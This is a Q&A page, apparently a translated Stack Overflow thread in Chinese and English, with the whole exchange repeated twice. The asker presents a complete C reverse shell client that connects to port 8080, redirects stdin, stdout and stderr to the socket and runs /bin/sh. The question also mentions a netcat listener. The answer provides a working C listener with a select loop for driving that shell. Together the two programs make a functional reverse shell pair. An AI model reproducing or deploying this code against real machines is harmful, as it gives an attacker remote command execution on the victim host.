将标准输入流式传输到套接字
Streaming stdin to a socket
在 Python 3 中,我可以利用 telnetlib
的库来 use/import 方法 interact
,它可以让我将 stdin
流式传输到socket
传递给 interact
方法。此外 netcat
提供了类似的功能(除了能够以编程方式在 Python 3 内传递 socket
当然)例如:nc -nvlp 8080
.
我的问题是:
有没有办法以编程方式将 telnetlib
的 interact
method/streaming 和 stdin
流的行为复制到 C 中给定的 socket
?还是这个过程很曲折?如果简单化,interact
方法的逻辑如何在 C 中复制?
例如说我是 运行 一个类似于 SSH 的简单客户端 C 反向 shell 程序,它使用 dup2
流式传输 stdin
,stdout
, stderr
到重复的套接字 file descriptor
。我如何能够在 C 中以编程方式与此客户端通信?
我尝试以编程方式与之通信的示例 C 客户端:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
for (int i=0; i<3; i++)
dup2(s, i);
execve("/bin/sh", 0, 0);
return 0;
}
总而言之:我基本上是在尝试在 C 中以编程方式与提供的客户端进行通信。
I am basically trying to communicate with the provided client programmatically within C.
一个能做你想做的事情的程序不需要很大;这是一个简单的例子:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(PORT);
int s = socket(AF_INET, SOCK_STREAM, 0);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
listen(s, 0);
int t = accept(s, NULL, NULL);
if (t < 0) perror("accept"), exit(1);
fd_set fds, fdr;
FD_ZERO(&fds);
FD_SET(0, &fds); // add STDIN to the fd set
FD_SET(t, &fds); // add connection to the fd set
while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
{ char buf[BUFSIZ];
if (FD_ISSET(0, &fdr))
{ // this is the user's input
size_t count = read(0, buf, sizeof buf);
if (count > 0) write(t, buf, count);
else break; // no more input from user
}
if (FD_ISSET(t, &fdr))
{ // this is the client's output or termination
size_t count = read(t, buf, sizeof buf);
if (count > 0) write(1, buf, count);
else break; // no more data from client
}
}
}
关键部分是 select
循环,它检查 STDIN 或套接字连接是否可读,并将读取的数据复制到另一端。
在 Python 3 中,我可以利用 telnetlib
的库来 use/import 方法 interact
,它可以让我将 stdin
流式传输到socket
传递给 interact
方法。此外 netcat
提供了类似的功能(除了能够以编程方式在 Python 3 内传递 socket
当然)例如:nc -nvlp 8080
.
我的问题是:
有没有办法以编程方式将 telnetlib
的 interact
method/streaming 和 stdin
流的行为复制到 C 中给定的 socket
?还是这个过程很曲折?如果简单化,interact
方法的逻辑如何在 C 中复制?
例如说我是 运行 一个类似于 SSH 的简单客户端 C 反向 shell 程序,它使用 dup2
流式传输 stdin
,stdout
, stderr
到重复的套接字 file descriptor
。我如何能够在 C 中以编程方式与此客户端通信?
我尝试以编程方式与之通信的示例 C 客户端:
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
for (int i=0; i<3; i++)
dup2(s, i);
execve("/bin/sh", 0, 0);
return 0;
}
总而言之:我基本上是在尝试在 C 中以编程方式与提供的客户端进行通信。
I am basically trying to communicate with the provided client programmatically within C.
一个能做你想做的事情的程序不需要很大;这是一个简单的例子:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define PORT 8080
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(PORT);
int s = socket(AF_INET, SOCK_STREAM, 0);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) perror("bind"), exit(1);
listen(s, 0);
int t = accept(s, NULL, NULL);
if (t < 0) perror("accept"), exit(1);
fd_set fds, fdr;
FD_ZERO(&fds);
FD_SET(0, &fds); // add STDIN to the fd set
FD_SET(t, &fds); // add connection to the fd set
while (fdr = fds, select(t+1, &fdr, NULL, NULL, NULL) > 0)
{ char buf[BUFSIZ];
if (FD_ISSET(0, &fdr))
{ // this is the user's input
size_t count = read(0, buf, sizeof buf);
if (count > 0) write(t, buf, count);
else break; // no more input from user
}
if (FD_ISSET(t, &fdr))
{ // this is the client's output or termination
size_t count = read(t, buf, sizeof buf);
if (count > 0) write(1, buf, count);
else break; // no more data from client
}
}
}
关键部分是 select
循环,它检查 STDIN 或套接字连接是否可读,并将读取的数据复制到另一端。